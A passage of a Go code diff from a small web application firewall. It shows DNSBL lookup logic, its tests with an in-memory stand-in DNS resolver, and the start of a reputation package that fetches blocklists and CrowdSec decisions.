 	slices.Reverse(parts)
 	return strings.Join(parts, ".") + "." + zone + "."
 }
 // readAnswer reads the addresses a zone answered with. An address in
 // 127.0.0.0/8 lists the client, as RFC 5782 has zones answer, but one in
 // 127.255.255.0/24 is how Spamhaus refuses a query, such as one sent
 // through a public resolver or one past its limit, and is a failure. So is
 // an address outside 127.0.0.0/8, such as a resolver gives that answers
 // even for names that do not exist.
 func readAnswer(answer []netip.Addr) (bool, error) {
 	listing := netip.MustParsePrefix("127.0.0.0/8")
 	refusal := netip.MustParsePrefix("127.255.255.0/24")
 	for _, addr := range answer {
 		switch {
 		case refusal.Contains(addr):
 			return false, fmt.Errorf("%w: %s", errRefused, addr)
 		case !listing.Contains(addr):
 			return false, fmt.Errorf("%w: %s", errNotListing, addr)
 		}
 	}
 	return len(answer) > 0, nil
 }
@@ -1,737 +0,0 @@
 package reputation_test
 import (
 	"bytes"
 	"context"
 	"encoding/binary"
 	"errors"
 	"io"
 	"log/slog"
 	"net"
 	"net/http"
 	"net/http/httptest"
 	"net/netip"
 	"reflect"
 	"slices"
 	"strings"
 	"sync"
 	"testing"
 	"testing/synctest"
 	"time"
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/metrics"
 	"sneak.berlin/go/smallwebwaf/internal/reputation"
 )
 // The tests of the DNSBL zones run in synctest bubbles, as those of the
 // lists do, and the resolver the zones are asked through is a stand-in
 // reached through an in-memory connection, net.Pipe's, for the same
 // reason. They run one at a time, none in parallel with another test of
 // this package: Go's resolver counts the queries under way in one
 // sync.WaitGroup for the whole process, and the process fails when
 // queries from two bubbles, or from a bubble and from outside one, are
 // under way at once. TestMain has the resolver make its configuration,
 // which it makes on its first query, outside every bubble, since the
 // configuration holds a channel, which the bubble it was made in would
 // keep to itself.
 const (
 	// zone and otherZone are the DNSBL zones the tests name.
 	zone      = "dnsbl.example"
 	otherZone = "other.example"
 	// cacheTTL is the tests' SWW_REPUTATION_CACHE_TTL, and timeout their
 	// SWW_REPUTATION_TIMEOUT: a second, the least time /etc/resolv.conf
 	// can have Go's resolver wait for one server, so that it is the
 	// DNSBL's own timeout that ends a query, whatever that file says.
 	cacheTTL = 24 * time.Hour
 	timeout  = time.Second
 	// listed and unlisted are clients zone is asked about by the names
 	// listedName and unlistedName, and most tests have zone list the first
 	// alone, by answering with listing.
 	listed       = "192.0.2.99"
 	unlisted     = "192.0.2.100"
 	listedName   = "99.2.0.192." + zone + "."
 	unlistedName = "100.2.0.192." + zone + "."
 	listing      = "127.0.0.2"
 )
 // The DNS response codes the stand-in answers with, besides no error.
 const (
 	serverFailure = 2
 	noSuchName    = 3
 	refused       = 5
 )
 var errNoNetwork = errors.New("the test dials nothing")
 func TestMain(m *testing.M) {
 	// A query that fails at once, as nothing is dialled for it.
 	resolver := &net.Resolver{
 		PreferGo: true,
 		Dial: func(context.Context, string, string) (net.Conn, error) {
 			return nil, errNoNetwork
 		},
 	}
 	_, _ = resolver.LookupNetIP(context.Background(), "ip4", "warm-up.invalid.")
 	m.Run()
 }
 //nolint:paralleltest // one at a time, as the comment at the top of this file says
 func TestZonesListOrNotClientsByTheirIPv4AndIPv6Addresses(t *testing.T) {
 	synctest.Test(t, func(t *testing.T) {
 		// The addresses of the examples of RFC 5782, and the names it
 		// gives for them.
 		const (
 			v4 = "192.0.2.99"
 			v6 = "2001:db8:1:2:3:4:567:89ab"
 			// v6Name is the hex digits of v6, in reverse order.
 			v6Name = "b.a.9.8.7.6.5.0.4.0.0.0.3.0.0.0.2.0.0.0.1.0.0.0.8.b.d.0.1.0.0.2."
 		)
 		resolver := &resolverStandIn{answers: map[string]answer{
 			"99.2.0.192." + zone + ".":      {addrs: []string{listing}},
 			v6Name + otherZone + ".":        {addrs: []string{"127.0.0.4", "127.0.0.10"}},
 			"99.2.0.192." + otherZone + ".": {},
 		}}
 		dnsbl := newDNSBL(resolver, dnsblParams(zone, otherZone))
 		// Neither client has a verdict yet, so neither is listed, and each
 		// zone is asked about each.
 		wantZones(t, dnsbl, v4)
 		wantZones(t, dnsbl, v6)
 		synctest.Wait()
 		wantZones(t, dnsbl, v4, zone)
 		wantZones(t, dnsbl, v6, otherZone)
 		wantAsked(t, resolver,
 			"99.2.0.192."+zone+".", "99.2.0.192."+otherZone+".",
 			v6Name+zone+".", v6Name+otherZone+".")
 	})
 }
 //nolint:paralleltest // one at a time, as the comment at the top of this file says
 func TestListedByNeverWaitsForAQuery(t *testing.T) {
 	synctest.Test(t, func(t *testing.T) {
 		dnsbl := newDNSBL(&resolverStandIn{hanging: true}, dnsblParams(zone))
 		began := time.Now()
 		// The second, while the first's query is under way, starts none.
 		wantZones(t, dnsbl, listed)
 		wantZones(t, dnsbl, listed)
 		if waited := time.Since(began); waited != 0 {
 			t.Errorf("waited %s for the query, want no wait", waited)
 		}
 		synctest.Wait()
 		wantQueries(t, dnsbl, 1, 0)
 		waitForTheResolver()
 	})
 }
 //nolint:paralleltest // one at a time, as the comment at the top of this file says
 func TestVerdictUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
 	synctest.Test(t, func(t *testing.T) {
 		resolver := &resolverStandIn{answers: map[string]answer{
 			listedName: {addrs: []string{listing}},
 		}}
 		dnsbl := newDNSBL(resolver, dnsblParams(zone))
 		wantZones(t, dnsbl, listed)
 		wantZones(t, dnsbl, unlisted)
 		synctest.Wait()
 		// The zone lists the other client from now on, but the verdicts
 		// kept are used, and the zone is not asked again, until the TTL
 		// has passed.
 		resolver.set(listedName, answer{rcode: noSuchName})
 		resolver.set(unlistedName, answer{addrs: []string{listing}})
 		time.Sleep(cacheTTL - time.Nanosecond)
 		wantZones(t, dnsbl, listed, zone)
 		wantZones(t, dnsbl, unlisted)
 		synctest.Wait()
 		wantQueries(t, dnsbl, 2, 0)
 		// Then neither verdict is used, and both clients are asked about
 		// again.
 		time.Sleep(time.Nanosecond)
 		wantZones(t, dnsbl, listed)
 		wantZones(t, dnsbl, unlisted)
 		synctest.Wait()
 		wantQueries(t, dnsbl, 4, 0)
 		wantZones(t, dnsbl, listed)
 		wantZones(t, dnsbl, unlisted, zone)
 	})
 }
 //nolint:paralleltest // one at a time, as the comment at the top of this file says
 func TestQueryNotAnsweredWithinTheTimeoutFails(t *testing.T) {
 	synctest.Test(t, func(t *testing.T) {
 		queue := newQueue()
 		p := dnsblParams(zone)
 		p.Alerts = queue
 		dnsbl := newDNSBL(&resolverStandIn{hanging: true}, p)
 		wantZones(t, dnsbl, listed)
 		time.Sleep(timeout - time.Nanosecond)
 		synctest.Wait()
 		wantQueries(t, dnsbl, 1, 0)
 		time.Sleep(time.Nanosecond)
 		synctest.Wait()
 		wantQueries(t, dnsbl, 1, 1)
 		if got := waiting(queue); len(got) != 1 ||
 			got[0].Detail["error"] != "ask the zone: i/o timeout" {
 			t.Errorf("alerts waiting %+v, want the timeout's", got)
 		}
 		if verdicts := dnsbl.Snapshot(); len(verdicts) != 0 {
 			t.Errorf("verdicts %+v, want none", verdicts)
 		}
 		waitForTheResolver()
 	})
 }
 //nolint:paralleltest // one at a time, as the comment at the top of this file says
 func TestZoneThatFailsOrRefusesGivesNoVerdictAndIsLeftAloneForAMinute(t *testing.T) {
 	for _, tc := range []struct {
 		name   string
 		answer answer
 		error  string
 	}{
 		{
 			"a server failure", answer{rcode: serverFailure},
 			"ask the zone: server misbehaving",
 		},
 		{"a refusal", answer{rcode: refused}, "ask the zone: server misbehaving"},
 		{
 			"an answer in 127.255.255.0/24, with which Spamhaus refuses a query",
 			answer{addrs: []string{"127.255.255.254"}},
 			"the zone refused the query: 127.255.255.254",
 		},
 		{
 			"an answer outside 127.0.0.0/8, as for a name that does not exist",
 			answer{addrs: []string{"192.0.2.1"}},
 			"the answer is outside 127.0.0.0/8: 192.0.2.1",
 		},
 	} {
 		//nolint:paralleltest // one at a time, as the comment at the top of this file says
 		t.Run(tc.name, func(t *testing.T) {
 			synctest.Test(t, func(t *testing.T) {
 				var log bytes.Buffer
 				queue := newQueue()
 				p := dnsblParams(zone)
 				p.Alerts = queue
 				p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
 				dnsbl := newDNSBL(&resolverStandIn{answers: map[string]answer{
 					listedName: tc.answer,
 				}}, p)
 				// The failure gives no verdict, and the zone is not asked
 				// again within a minute of it.
 				wantZones(t, dnsbl, listed)
 				synctest.Wait()
 				time.Sleep(time.Minute - time.Nanosecond)
 				wantZones(t, dnsbl, listed)
 				synctest.Wait()
 				wantQueries(t, dnsbl, 1, 1)
 				time.Sleep(time.Nanosecond)
 				wantZones(t, dnsbl, listed)
 				synctest.Wait()
 				wantQueries(t, dnsbl, 2, 2)
 				if verdicts := dnsbl.Snapshot(); len(verdicts) != 0 {
 					t.Errorf("verdicts %+v, want none", verdicts)
 				}
 				// One alert for the first failure; the cooldown holds back
 				// the second.
 				wantAlert(t, queue, alerts.Alert{
 					Time:   time.Now().Add(-time.Minute),
 					Event:  alerts.EventSourceFailure,
 					Reason: "asking a DNSBL zone failed",
 					Detail: map[string]any{"source": zone, "error": tc.error},
 				})
 				if !strings.Contains(log.String(), `"msg":"asking a DNSBL zone failed",`+
 					`"zone":"`+zone+`","error":"`+tc.error) {
 					t.Errorf("logged\n%s\nwant the failures", log.String())
 				}
 			})
 		})
 	}
 }
 //nolint:paralleltest // one at a time, as the comment at the top of this file says
 func TestAtMost1000QueriesUnderWay(t *testing.T) {
 	synctest.Test(t, func(t *testing.T) {
 		dnsbl := newDNSBL(&resolverStandIn{hanging: true}, dnsblParams(zone))
 		client := netip.MustParseAddr("198.18.0.0")
 		for range 1001 {
 			dnsbl.ListedBy(t.Context(), client)
 			client = client.Next()
 		}
 		synctest.Wait()
 		wantQueries(t, dnsbl, 1000, 0)
 		waitForTheResolver()
 	})
 }
 //nolint:paralleltest // one at a time, as the comment at the top of this file says
 func TestMetricsCountEachZonesQueriesAndThoseThatFailed(t *testing.T) {
 	synctest.Test(t, func(t *testing.T) {
 		resolver := &resolverStandIn{answers: map[string]answer{
 			listedName:                      {addrs: []string{listing}},
 			"99.2.0.192." + otherZone + ".": {rcode: serverFailure},
 		}}
 		dnsbl := newDNSBL(resolver, dnsblParams(zone, otherZone))
 		m := metrics.New(1, "app")
 		m.AddReputation(reputation.New(params()), dnsbl)
 		wantZones(t, dnsbl, listed)
 		synctest.Wait()
 		scraped := httptest.NewRecorder()
 		m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet,
 			"/", http.NoBody))
 		for series, want := range map[string]string{
 			"queries_total" + `{instance="app",source="` + zone + `"}`:       "1",
 			"failures_total" + `{instance="app",source="` + zone + `"}`:      "0",
 			"queries_total" + `{instance="app",source="` + otherZone + `"}`:  "1",
 			"failures_total" + `{instance="app",source="` + otherZone + `"}`: "1",
 		} {
 			line := "\nsww_reputation_" + series + " " + want + "\n"
 			if !strings.Contains(scraped.Body.String(), line) {
 				t.Errorf("metrics\n%s\nwant%s", scraped.Body.String(), line)
 			}
 		}
 	})
 }
 //nolint:paralleltest // one at a time, as the comment at the top of this file says
 func TestZoneKeyIsMaskedInTheVerdictsTheFailuresAndTheMetrics(t *testing.T) {
 	const (
 		key    = "abcdefghijklmnopqrstuvwxyz"
 		keyed  = key + ".xbl.dq.spamhaus.net"
 		masked = "********.xbl.dq.spamhaus.net"
 	)
 	synctest.Test(t, func(t *testing.T) {
 		var log bytes.Buffer
 		queue := newQueue()
 		p := dnsblParams(keyed)
 		p.Alerts = queue
 		p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
 		dnsbl := newDNSBL(&resolverStandIn{answers: map[string]answer{
 			"99.2.0.192." + keyed + ".":  {addrs: []string{listing}},
 			"100.2.0.192." + keyed + ".": {rcode: serverFailure},
 		}}, p)
 		m := metrics.New(1, "app")
 		m.AddReputation(reputation.New(params()), dnsbl)
 		// Both clients are asked about before either answer comes, so that
 		// the failure does not keep the zone from the other query.
 		wantZones(t, dnsbl, listed)
 		wantZones(t, dnsbl, unlisted)
 		synctest.Wait()
 		wantZones(t, dnsbl, listed, masked)
 		if got := waiting(queue); len(got) != 1 || got[0].Detail["source"] != masked {
 			t.Errorf("alerts waiting %+v, want the failure's, from %s", got, masked)
 		}
 		scraped := httptest.NewRecorder()
 		m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet,
 			"/", http.NoBody))
 		for name, shown := range map[string]string{
 			"the log": log.String(), "the metrics": scraped.Body.String(),
 		} {
 			if strings.Contains(shown, key) || !strings.Contains(shown, masked) {
 				t.Errorf("%s shows the key, or does not name the zone:\n%s", name, shown)
 			}
 		}
 	})
 }
 //nolint:paralleltest // one at a time, as the comment at the top of this file says
 func TestVerdictsKeptAcrossARestart(t *testing.T) {
 	synctest.Test(t, func(t *testing.T) {
 		resolver := &resolverStandIn{answers: map[string]answer{
 			listedName: {addrs: []string{listing}},
 		}}
 		dnsbl := newDNSBL(resolver, dnsblParams(zone))
 		fetched := time.Now()
 		wantZones(t, dnsbl, unlisted)
 		wantZones(t, dnsbl, listed)
 		synctest.Wait()
 		kept := dnsbl.Snapshot()
 		want := []reputation.Verdict{
 			{Zone: zone, Client: netip.MustParseAddr(listed), Listed: true, Fetched: fetched},
 			{Zone: zone, Client: netip.MustParseAddr(unlisted), Fetched: fetched},
 		}
 		if !reflect.DeepEqual(kept, want) {
 			t.Errorf("verdicts %+v, want %+v", kept, want)
 		}
 		// Restarted an hour later with what reputation.json keeps, it uses
 		// the verdicts, and asks the zone nothing, until the TTL has passed
 		// since they were fetched.
 		time.Sleep(time.Hour)
 		restarted := &resolverStandIn{}
 		again := newDNSBL(restarted, dnsblParams(zone))
 		again.Load(kept)
 		wantZones(t, again, listed, zone)
 		wantZones(t, again, unlisted)
 		synctest.Wait()
 		wantAsked(t, restarted)
 		time.Sleep(cacheTTL - time.Hour)
 		wantZones(t, again, listed)
 		synctest.Wait()
 		wantAsked(t, restarted, listedName)
 	})
 }
 func TestNeitherAVerdictOfAZoneNotNamedNorOnePastItsTTLIsKept(t *testing.T) {
 	t.Parallel()
 	now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
 	p := dnsblParams(zone)
 	p.Now = func() time.Time { return now }
 	dnsbl := reputation.NewDNSBL(p)
 	// The last verdict still in use, one fetched a TTL ago, and one of a
 	// zone SWW_DNSBL_ZONES does not name.
 	inUse := reputation.Verdict{
 		Zone: zone, Client: netip.MustParseAddr(listed), Listed: true,
 		Fetched: now.Add(-cacheTTL + time.Nanosecond),
 	}
 	stale := reputation.Verdict{
 		Zone: zone, Client: netip.MustParseAddr(unlisted), Fetched: now.Add(-cacheTTL),
 	}
 	notNamed := reputation.Verdict{
 		Zone: otherZone, Client: netip.MustParseAddr(listed), Listed: true, Fetched: now,
 	}
 	dnsbl.Load([]reputation.Verdict{notNamed, stale, inUse})
 	if got := dnsbl.Snapshot(); !reflect.DeepEqual(got, []reputation.Verdict{inUse}) {
 		t.Errorf("verdicts %+v, want only %+v", got, inUse)
 	}
 }
 func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) {
 	t.Parallel()
 	now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
 	p := dnsblParams(zone)
 	p.Now = func() time.Time { return now }
 	dnsbl := reputation.NewDNSBL(p)
 	// 100,001 verdicts, listed by client, as reputation.json lists them,
 	// each fetched a millisecond before the one before it: the last is one
 	// too many.
 	const count = 100001
 	verdicts := make([]reputation.Verdict, 0, count)
 	client := netip.MustParseAddr("198.18.0.0")
 	for i := range count {
 		verdicts = append(verdicts, reputation.Verdict{
 			Zone: zone, Client: client, Fetched: now.Add(-time.Duration(i) * time.Millisecond),
 		})
 		client = client.Next()
 	}
 	dnsbl.Load(verdicts)
 	got := dnsbl.Snapshot()
 	if len(got) != count-1 || !slices.Contains(got, verdicts[0]) ||
 		slices.Contains(got, verdicts[count-1]) {
 		t.Errorf("%d verdicts kept, want all but the one fetched longest ago", len(got))
 	}
 }
 //nolint:paralleltest // one at a time, as the comment at the top of this file says
 func TestQueriesGoToTheResolverSWWDNSBLResolverNames(t *testing.T) {
 	resolver := &resolverStandIn{answers: map[string]answer{
 		listedName: {addrs: []string{listing}},
 	}}
 	conn, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", "127.0.0.1:0")
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}
 	served := make(chan struct{})
 	go func() {
 		resolver.serveUDP(conn)
 		close(served)
 	}()
 	t.Cleanup(func() {
 		_ = conn.Close()
 		<-served
 	})
 	p := dnsblParams(zone)
 	p.Resolver = netip.MustParseAddrPort(conn.LocalAddr().String())
 	// On the real clock: the stand-in answers at once, so only a test
 	// process held up for a whole minute would see the query fail.
 	p.Timeout = time.Minute
 	isListed, err := reputation.NewDNSBL(p).LookUp(zone, netip.MustParseAddr(listed))
 	if err != nil || !isListed {
 		t.Errorf("listed %t (%v), want true", isListed, err)
 	}
 	wantAsked(t, resolver, listedName)
 }
 // resolverStandIn is a stand-in for the resolver the zones are asked
 // through. It answers each query by the name asked about, as answers
 // gives, with no such name for a name answers does not give, and not at
 // all while hanging. It notes each name asked about.
 type resolverStandIn struct {
 	mu      sync.Mutex
 	answers map[string]answer
 	hanging bool
 	names   []string
 }
 // answer is how the stand-in answers a name: with an A record of each of
 // addrs, or with the response code rcode, unless it is 0, for no error.
 type answer struct {
 	addrs []string
 	rcode uint16
 }
 // What the stand-in reads of a query, and writes in its reply.
 const (
 	// headerLength is the length of a DNS message's header, which the
 	// question follows: its id, its flags, and how many questions,
 	// answers and other records it holds, two bytes each.
 	headerLength = 12
 	// typeAndClass is the length of the type and the class that end a
 	// question, after its name.
 	typeAndClass = 4
 	// replyFlags mark a reply to a query that asked for recursion, which
 	// is available, with no error. The response code goes in their last
 	// four bits.
 	replyFlags = 0x8180
 	// maxMessage is the longest query read over UDP.
 	maxMessage = 1232
 )
 // set has the stand-in answer name with given.
 func (s *resolverStandIn) set(name string, given answer) {
 	s.mu.Lock()
 	defer s.mu.Unlock()
 	s.answers[name] = given
 }
 // dial connects Go's resolver to the stand-in through an in-memory
 // connection, on which it sends each query, and reads each reply, after
 // its length, as over TCP.
 func (s *resolverStandIn) dial(context.Context, string, string) (net.Conn, error) {
 	client, server := net.Pipe()
 	go s.serve(server)
 	return client, nil
 }
 // serve answers the queries that come on conn until the resolver closes
 // it.
 func (s *resolverStandIn) serve(conn net.Conn) {
 	defer func() {
 		_ = conn.Close()
 	}()
 	for {
 		var length [2]byte
 		_, err := io.ReadFull(conn, length[:])
 		if err != nil {
 			return
 		}
 		message := make([]byte, binary.BigEndian.Uint16(length[:]))
 		_, err = io.ReadFull(conn, message)
 		if err != nil {
 			return
 		}
 		reply, answered := s.reply(message)
 		if !answered {
 			continue // the resolver gives up, and closes conn
 		}
 		//nolint:gosec // a reply of a few dozen bytes
 		_, err = conn.Write(append(binary.BigEndian.AppendUint16(nil, uint16(len(reply))),
 			reply...))
 		if err != nil {
 			return
 		}
 	}
 }
 // serveUDP answers the queries that come on conn, each in a datagram, as
 // a resolver does, until conn is closed.
 func (s *resolverStandIn) serveUDP(conn net.PacketConn) {
 	message := make([]byte, maxMessage)
 	for {
 		n, from, err := conn.ReadFrom(message)
 		if err != nil {
 			return
 		}
 		reply, answered := s.reply(message[:n])
 		if answered {
 			_, _ = conn.WriteTo(reply, from)
 		}
 	}
 }
 // reply returns the stand-in's reply to message, a query, and false for
 // none, while it hangs. It notes the name asked about.
 func (s *resolverStandIn) reply(message []byte) ([]byte, bool) {
 	// The name is labels, each after its length, ended by a length of 0.
 	var labels []string
 	end := headerLength
 	for message[end] != 0 {
 		length := int(message[end])
 		labels = append(labels, string(message[end+1:end+1+length]))
 		end += 1 + length
 	}
 	end += 1 + typeAndClass
 	name := strings.Join(labels, ".") + "."
 	s.mu.Lock()
 	s.names = append(s.names, name)
 	given, found := s.answers[name]
 	hanging := s.hanging
 	s.mu.Unlock()
 	if hanging {
 		return nil, false
 	}
 	if !found {
 		given = answer{rcode: noSuchName}
 	}
 	// The query's id, the flags, one question, the answers, and no other
 	// records, then the question, as asked.
 	reply := slices.Clone(message[:2])
 	reply = binary.BigEndian.AppendUint16(reply, replyFlags|given.rcode)
 	reply = binary.BigEndian.AppendUint16(reply, 1)
 	//nolint:gosec // a handful of answers
 	reply = binary.BigEndian.AppendUint16(reply, uint16(len(given.addrs)))
 	reply = append(reply, 0, 0, 0, 0)
 	reply = append(reply, message[headerLength:end]...)
 	// An A record starts with the name asked about, by a pointer to it in
 	// the question, then its type, A, its class, IN, how long it may be
 	// kept, 60 seconds, and the length of its address, 4 bytes.
 	record := []byte{0xc0, headerLength, 0, 1, 0, 1, 0, 0, 0, 60, 0, 4}
 	for _, addr := range given.addrs {
 		reply = append(reply, record...)
 		reply = append(reply, netip.MustParseAddr(addr).AsSlice()...)
 	}
 	return reply, true
 }
 // dnsblParams returns the DNSBLParams of zones, with the tests' cache TTL
 // and timeout, by the bubble's clock, with alerts to a queue that sends
 // none.
 func dnsblParams(zones ...string) reputation.DNSBLParams {
 	return reputation.DNSBLParams{
 		Zones:      zones,
 		CacheTTL:   cacheTTL,
 		Timeout:    timeout,
 		Now:        time.Now,
 		ProcessLog: slog.New(slog.DiscardHandler),
 		Alerts:     newQueue(),
 	}
 }
 // waitForTheResolver waits, on the bubble's clock, an hour, until Go's
 // resolver has given up on every stand-in that does not answer: it waits
 // for a server as long as /etc/resolv.conf has it wait, a few seconds,
 // even after the query was given up, and a bubble cannot end before it.
 func waitForTheResolver() {
 	time.Sleep(time.Hour)
 }
 // newDNSBL returns the DNSBL of p, asking resolver.
 func newDNSBL(resolver *resolverStandIn, p reputation.DNSBLParams) *reputation.DNSBL {
 	dnsbl := reputation.NewDNSBL(p)
 	dnsbl.SetDial(resolver.dial)
 	return dnsbl
 }
 // wantZones checks the zones whose verdict dnsbl says lists client, as a
 // request from client finds them.
 func wantZones(t *testing.T, dnsbl *reputation.DNSBL, client string, want ...string) {
 	t.Helper()
 	got := dnsbl.ListedBy(t.Context(), netip.MustParseAddr(client))
 	if !slices.Equal(got, want) {
 		t.Errorf("%s is listed by %v, want %v", client, got, want)
 	}
 }
 // wantQueries checks how many queries dnsbl made to zone, and how many of
 // them failed.
 func wantQueries(t *testing.T, dnsbl *reputation.DNSBL, queries, failures int) {
 	t.Helper()
 	if dnsbl.Queries(zone) != queries || dnsbl.Failures(zone) != failures {
 		t.Errorf("%d queries and %d failures, want %d and %d", dnsbl.Queries(zone),
 			dnsbl.Failures(zone), queries, failures)
 	}
 }
 // wantAsked checks the names the stand-in was asked about, in any order.
 func wantAsked(t *testing.T, resolver *resolverStandIn, want ...string) {
 	t.Helper()
 	resolver.mu.Lock()
 	got := slices.Sorted(slices.Values(resolver.names))
 	resolver.mu.Unlock()
 	slices.Sort(want)
 	if !slices.Equal(got, want) {
 		t.Errorf("asked about %v, want %v", got, want)
 	}
 }
@@ -1,34 +0,0 @@
 package reputation
 import (
 	"context"
 	"net"
 	"net/http"
 	"net/netip"
 )
 // SetTransport has l's fetches go through transport instead of the
 // network.
 func (l *Lists) SetTransport(transport http.RoundTripper) {
 	l.httpClient.Transport = transport
 	l.crowdSecClient.Transport = transport
 }
 // SetTransport has a's checks go through transport instead of the
 // network.
 func (a *AbuseIPDB) SetTransport(transport http.RoundTripper) {
 	a.httpClient.Transport = transport
 }
 // SetDial has d's queries go through dial instead of the network.
 func (d *DNSBL) SetDial(
 	dial func(ctx context.Context, network, address string) (net.Conn, error),
 ) {
 	d.resolver = &net.Resolver{PreferGo: true, Dial: dial}
 }
 // LookUp asks zone about addr at once, as a query in the background does,
 // and returns whether zone lists addr.
 func (d *DNSBL) LookUp(zone string, addr netip.Addr) (bool, error) {
 	return d.lookUp(context.Background(), query{zone: zone, client: addr})
 }
@@ -1,652 +0,0 @@
 // Package reputation fetches the lists the settings name by URL: the
 // blocklists of SWW_BLOCKLIST_URLS, the file of AS:percent lines
 // SWW_ASN_LIMIT_PERCENT_URL names, and the decision list of the CrowdSec
 // engine SWW_CROWDSEC_LAPI_URL names. It keeps the last good copy of
 // each, whole, comment lines included, which is used while a fetch fails,
 // and when each was last tried. It also asks the DNSBL zones of
 // SWW_DNSBL_ZONES about clients, and keeps their verdicts, and checks
 // clients with AbuseIPDB, and keeps their scores and the checks spent
 // today. The state package writes all of these to reputation.json and
 // reads them from it, so that a restart keeps them too.
 package reputation
 import (
 	"context"
 	"encoding/json"
 	"errors"
 	"fmt"
 	"io"
 	"log/slog"
 	"net/http"
 	"net/netip"
 	"slices"
 	"strings"
 	"sync"
 	"time"
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/config"
 )
 const (
 	// maxListBytes is the most of a list that is read. A longer one is a
 	// failure, so that a wrong URL cannot fill the memory.
 	maxListBytes = 16 << 20
 	// fetchTimeout bounds one fetch of a list.
 	fetchTimeout = time.Minute
 	// crowdSecRefresh is how long after the CrowdSec decision list was last
 	// fetched or tried it is fetched again: the engine is the operator's
 	// own, and makes and ends decisions all the time.
 	crowdSecRefresh = time.Minute
 	// mappedBits is the length of ::ffff:0.0.0.0/96, the netblock of every
 	// IPv4-mapped address.
 	mappedBits = 96
 )
 var (
 	errStatus        = errors.New("the server answered")
 	errTooLong       = errors.New("the list is longer than 16 MiB")
 	errNotNetblock   = errors.New("is not an address or a netblock, such as 192.0.2.0/24")
 	errNotASNPercent = errors.New(
 		"is not an AS number, : and a percentage, such as AS64496:50")
 	errNotDecision = errors.New(
 		"does not give an address or a netblock and a duration, such as 4h0m0s")
 )
 // List is a list as reputation.json holds it: the URL it is fetched from,
 // when it was last tried, the fetch failed or not, and its last good copy:
 // when that was fetched, and its lines, as fetched, comment lines
 // included, both left out while no fetch of it has succeeded.
 type List struct {
 	URL     string    `json:"url"`
 	Tried   time.Time `json:"tried"`
 	Fetched time.Time `json:"fetched,omitzero"`
 	Lines   []string  `json:"lines,omitzero"`
 }
 // Params are what New needs.
 type Params struct {
 	// BlocklistURLs are the blocklists (SWW_BLOCKLIST_URLS), and
 	// ASNLimitPercentURL the file of AS:percent lines
 	// (SWW_ASN_LIMIT_PERCENT_URL), "" while it is unset.
 	BlocklistURLs      []string
 	ASNLimitPercentURL string
 	// CrowdSecDecisionsURL is the CrowdSec decision list, "" while
 	// SWW_CROWDSEC_LAPI_URL is unset, fetched with CrowdSecKey
 	// (SWW_CROWDSEC_LAPI_KEY).
 	CrowdSecDecisionsURL string
 	CrowdSecKey          string
 	// Refresh is how long after a list was last fetched or tried it is
 	// fetched again (SWW_BLOCKLIST_REFRESH), but for the CrowdSec decision
 	// list, which is fetched again crowdSecRefresh after.
 	Refresh time.Duration
 	// Now tells the time, normally time.Now in UTC.
 	Now func() time.Time
 	// ProcessLog receives each fetch of a list, and why one failed.
 	ProcessLog *slog.Logger
 	// Alerts receive a source_failure alert for each fetch that fails.
 	Alerts *alerts.Queue
 }
 // Lists are the lists Params names, each with its last good copy. They
 // are safe for concurrent use.
 type Lists struct {
 	params     Params
 	httpClient *http.Client
 	// crowdSecClient fetches the CrowdSec decision list. It follows no
 	// redirect, so that the key goes to the engine alone: a redirect is a
 	// failure.
 	crowdSecClient *http.Client
 	mu sync.Mutex
 	// lists are by URL, one for each URL Params names.
 	lists map[string]*list
 }
 // list is one list: what reputation.json keeps of it, its last try, zero
 // before the first, and its last good copy, what that copy says, and how
 // many fetches of it failed.
 type list struct {
 	kept     List
 	entries  entries
 	failures int
 }
 // entries are what the lines of a copy say: for a blocklist, the netblocks
 // it names, with the lengths among them, for the file of AS:percent lines,
 // the percentage it gives each AS number, and for the CrowdSec decision
 // list, the decision on each netblock that ends last, with the lengths
 // among them.
 type entries struct {
 	netblocks map[netip.Prefix]bool
 	lengths   []int
 	percents  map[string]int64
 	decisions map[netip.Prefix]Decision
 }
 // Decision is a decision of the CrowdSec engine to ban a netblock: when
 // it ends, and the scenario that made it, such as crowdsecurity/ssh-bf.
 type Decision struct {
 	Expires  time.Time
 	Scenario string
 }
 // New returns the lists, without a copy of any yet.
 func New(params Params) *Lists {
 	l := &Lists{
 		params:     params,
 		httpClient: &http.Client{},
 		crowdSecClient: &http.Client{
 			CheckRedirect: func(*http.Request, []*http.Request) error {
 				return http.ErrUseLastResponse
 			},
 		},
 		lists: map[string]*list{},
 	}
 	for _, listURL := range l.URLs() {
 		l.lists[listURL] = &list{kept: List{URL: listURL}}
 	}
 	return l
 }
 // URLs returns the URL of every list: the blocklists' in the order
 // SWW_BLOCKLIST_URLS names them, then SWW_ASN_LIMIT_PERCENT_URL, then
 // the CrowdSec decision list's.
 func (l *Lists) URLs() []string {
 	urls := slices.Clone(l.params.BlocklistURLs)
 	if l.params.ASNLimitPercentURL != "" {
 		urls = append(urls, l.params.ASNLimitPercentURL)
 	}
 	if l.params.CrowdSecDecisionsURL != "" {
 		urls = append(urls, l.params.CrowdSecDecisionsURL)
 	}
 	return urls
 }
 // ListedBy returns the URLs of the blocklists whose copy lists addr, in
 // the order SWW_BLOCKLIST_URLS names them.
 func (l *Lists) ListedBy(addr netip.Addr) []string {
 	l.mu.Lock()
 	defer l.mu.Unlock()
 	var listedBy []string
 	for _, listURL := range l.params.BlocklistURLs {
 		if l.lists[listURL].entries.contain(addr) {
 			listedBy = append(listedBy, listURL)
 		}
 	}
 	return listedBy
 }
 // ASNLimitPercent returns the percentage the copy of the file of
 // AS:percent lines gives asn, and whether it lists asn.
 func (l *Lists) ASNLimitPercent(asn string) (int64, bool) {
 	if l.params.ASNLimitPercentURL == "" {
 		return 0, false
 	}
 	l.mu.Lock()
 	defer l.mu.Unlock()
